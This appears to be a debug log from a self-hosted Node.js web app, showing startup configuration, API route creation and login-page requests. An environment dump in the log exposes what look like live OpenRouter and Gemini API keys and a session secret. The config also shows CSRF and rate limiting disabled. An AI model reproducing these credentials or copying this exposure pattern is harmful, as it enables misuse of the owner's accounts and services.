  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-06T10:35:20.190Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-06T10:35:20.263Z server-connect:setup:upload Upload middleware configured.
2026-07-06T10:35:20.264Z server-connect:secure CSRF Protection initialized
2026-07-06T10:35:20.267Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-06T10:35:20.269Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-06T10:35:20.269Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-06T10:35:20.276Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-06T10:35:20.277Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-06T10:35:20.278Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-06T10:35:20.282Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-06T10:35:20.283Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-06T10:35:20.284Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-06T10:35:20.285Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-06T10:35:20.285Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-06T10:35:20.285Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-06T10:35:20.286Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-06T10:35:20.287Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-06T10:35:20.287Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-06T10:35:20.288Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-06T10:35:20.288Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-06T10:35:20.289Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-06T10:35:20.289Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-06T10:35:20.290Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-06T10:35:20.291Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-06T10:35:20.292Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-06T10:35:20.293Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-06T10:35:20.293Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-06T10:35:20.293Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-06T10:35:20.294Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-06T10:35:20.294Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-06T10:35:20.294Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-06T10:35:20.295Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-06T10:35:20.295Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-06T10:35:20.295Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-06T10:35:20.296Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-06T10:35:20.296Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-06T10:35:20.296Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-06T10:35:20.297Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-06T10:35:20.297Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-06T10:35:20.297Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-06T10:35:20.298Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-06T10:35:20.396Z server-connect:router Serving templateView /
2026-07-06T10:35:20.398Z server-connect:app Executing action step identify
2026-07-06T10:35:20.398Z server-connect:app options: { provider: 'security' }
2026-07-06T10:35:20.400Z server-connect:auth No login cookie found
2026-07-06T10:35:20.400Z server-connect:output identity: false
2026-07-06T10:35:20.400Z server-connect:app Executing action step restrict
2026-07-06T10:35:20.400Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-06T10:35:20.404Z server-connect:output restrict: undefined
2026-07-06T10:35:20.878Z server-connect:router Serving templateView /login
2026-07-06T10:35:20.879Z server-connect:app Executing action step identify
2026-07-06T10:35:20.879Z server-connect:app options: { provider: 'security' }
2026-07-06T10:35:20.879Z server-connect:auth No login cookie found
2026-07-06T10:35:20.879Z server-connect:output identity: false
2026-07-06T10:35:20.880Z server-connect:router Render template layouts/authentication
2026-07-06T10:35:20.880Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    priority: 'u=0, i',
    cookie: 'wssplashchk=e3ad500b378229013dc4995aead4958d05b8b870.1783337719.1',
    'x-forwarded-for': '173.239.217.184',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {
    wssplashchk: 'e3ad500b378229013dc4995aead4958d05b8b870.1783337719.1'
  },
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-07T10:35:20.877Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '173.239.217.184',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'wssplashchk=e3ad500b378229013dc4995aead4958d05b8b870.1783337719.1',
    'HTTP_X_FORWARDED-FOR': '173.239.217.184',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-07T07:53:10.739Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-07T07:53:13.009Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-07T07:53:13.874Z server-connect:setup:upload Upload middleware configured.
2026-07-07T07:53:13.874Z server-connect:secure CSRF Protection initialized
2026-07-07T07:53:13.879Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-07T07:53:13.881Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-07T07:53:13.882Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-07T07:53:13.885Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-07T07:53:13.890Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-07T07:53:13.895Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-07T07:53:13.909Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-07T07:53:13.921Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-07T07:53:13.924Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-07T07:53:13.928Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-07T07:53:13.928Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-07T07:53:13.932Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-07T07:53:13.939Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-07T07:53:13.949Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-07T07:53:13.953Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-07T07:53:14.025Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-07T07:53:14.026Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-07T07:53:14.031Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-07T07:53:14.040Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-07T07:53:14.043Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-07T07:53:14.043Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-07T07:53:14.051Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-07T07:53:14.055Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-07T07:53:14.061Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-07T07:53:14.061Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-07T07:53:14.066Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-07T07:53:14.069Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-07T07:53:14.069Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-07T07:53:14.076Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-07T07:53:14.079Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-07T07:53:14.079Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-07T07:53:14.082Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-07T07:53:14.086Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-07T07:53:14.086Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-07T07:53:14.093Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-07T07:53:14.097Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-07T07:53:14.099Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-07T07:53:14.109Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-07T07:53:14.597Z server-connect:router Serving templateView /
2026-07-07T07:53:14.599Z server-connect:app Executing action step identify
2026-07-07T07:53:14.600Z server-connect:app options: { provider: 'security' }
2026-07-07T07:53:14.602Z server-connect:auth No login cookie found
2026-07-07T07:53:14.602Z server-connect:output identity: false
2026-07-07T07:53:14.602Z server-connect:app Executing action step restrict
2026-07-07T07:53:14.602Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-07T07:53:14.605Z server-connect:output restrict: undefined
2026-07-07T12:52:09.159Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-07T12:52:11.427Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-07T12:52:12.292Z server-connect:setup:upload Upload middleware configured.
2026-07-07T12:52:12.292Z server-connect:secure CSRF Protection initialized
2026-07-07T12:52:12.297Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-07T12:52:12.299Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-07T12:52:12.302Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-07T12:52:12.306Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-07T12:52:12.310Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-07T12:52:12.314Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-07T12:52:12.327Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-07T12:52:12.341Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-07T12:52:12.346Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-07T12:52:12.347Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-07T12:52:12.349Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-07T12:52:12.353Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-07T12:52:12.359Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-07T12:52:12.369Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-07T12:52:12.373Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-07T12:52:12.445Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-07T12:52:12.448Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-07T12:52:12.451Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-07T12:52:12.456Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-07T12:52:12.460Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-07T12:52:12.463Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-07T12:52:12.469Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-07T12:52:12.473Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-07T12:52:12.478Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-07T12:52:12.480Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-07T12:52:12.484Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-07T12:52:12.486Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-07T12:52:12.488Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-07T12:52:12.494Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-07T12:52:12.496Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-07T12:52:12.498Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-07T12:52:12.500Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-07T12:52:12.505Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-07T12:52:12.505Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-07T12:52:12.511Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-07T12:52:12.516Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-07T12:52:12.516Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-07T12:52:12.527Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-07T14:56:07.377Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-07T14:56:09.646Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-07T14:56:10.510Z server-connect:setup:upload Upload middleware configured.
2026-07-07T14:56:10.511Z server-connect:secure CSRF Protection initialized
2026-07-07T14:56:10.517Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-07T14:56:10.519Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-07T14:56:10.520Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-07T14:56:10.521Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-07T14:56:10.531Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-07T14:56:10.533Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-07T14:56:10.546Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-07T14:56:10.559Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-07T14:56:10.562Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-07T14:56:10.564Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-07T14:56:10.566Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-07T14:56:10.570Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-07T14:56:10.575Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-07T14:56:10.586Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-07T14:56:10.590Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-07T14:56:10.663Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-07T14:56:10.663Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-07T14:56:10.669Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-07T14:56:10.673Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-07T14:56:10.677Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-07T14:56:10.679Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-07T14:56:10.688Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-07T14:56:10.688Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-07T14:56:10.694Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-07T14:56:10.697Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-07T14:56:10.701Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-07T14:56:10.703Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-07T14:56:10.705Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-07T14:56:10.712Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-07T14:56:10.712Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-07T14:56:10.714Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-07T14:56:10.719Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-07T14:56:10.722Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-07T14:56:10.724Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-07T14:56:10.730Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-07T14:56:10.735Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-07T14:56:10.735Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-07T14:56:10.745Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-07T14:56:11.234Z server-connect:router Serving templateView /
2026-07-07T14:56:11.237Z server-connect:app Executing action step identify
2026-07-07T14:56:11.237Z server-connect:app options: { provider: 'security' }
2026-07-07T14:56:11.239Z server-connect:auth No login cookie found
2026-07-07T14:56:11.239Z server-connect:output identity: false
2026-07-07T14:56:11.239Z server-connect:app Executing action step restrict
2026-07-07T14:56:11.239Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-07T14:56:11.243Z server-connect:output restrict: undefined
2026-07-07T18:47:58.491Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-07T18:48:00.760Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-07T18:48:01.621Z server-connect:setup:upload Upload middleware configured.
2026-07-07T18:48:01.622Z server-connect:secure CSRF Protection initialized
2026-07-07T18:48:01.628Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-07T18:48:01.630Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-07T18:48:01.631Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-07T18:48:01.633Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-07T18:48:01.639Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-07T18:48:01.644Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-07T18:48:01.656Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-07T18:48:01.671Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-07T18:48:01.674Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-07T18:48:01.676Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-07T18:48:01.678Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-07T18:48:01.682Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-07T18:48:01.688Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-07T18:48:01.698Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-07T18:48:01.701Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-07T18:48:01.774Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-07T18:48:01.778Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-07T18:48:01.781Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-07T18:48:01.788Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-07T18:48:01.791Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-07T18:48:01.794Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-07T18:48:01.801Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-07T18:48:01.803Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-07T18:48:01.809Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-07T18:48:01.811Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-07T18:48:01.815Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-07T18:48:01.817Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-07T18:48:01.819Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-07T18:48:01.825Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-07T18:48:01.825Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-07T18:48:01.828Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-07T18:48:01.831Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-07T18:48:01.834Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-07T18:48:01.837Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-07T18:48:01.843Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-07T18:48:01.847Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-07T18:48:01.848Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-07T18:48:01.858Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-07T18:48:02.540Z server-connect:router Serving templateView /
2026-07-07T18:48:02.542Z server-connect:app Executing action step identify
2026-07-07T18:48:02.542Z server-connect:app options: { provider: 'security' }
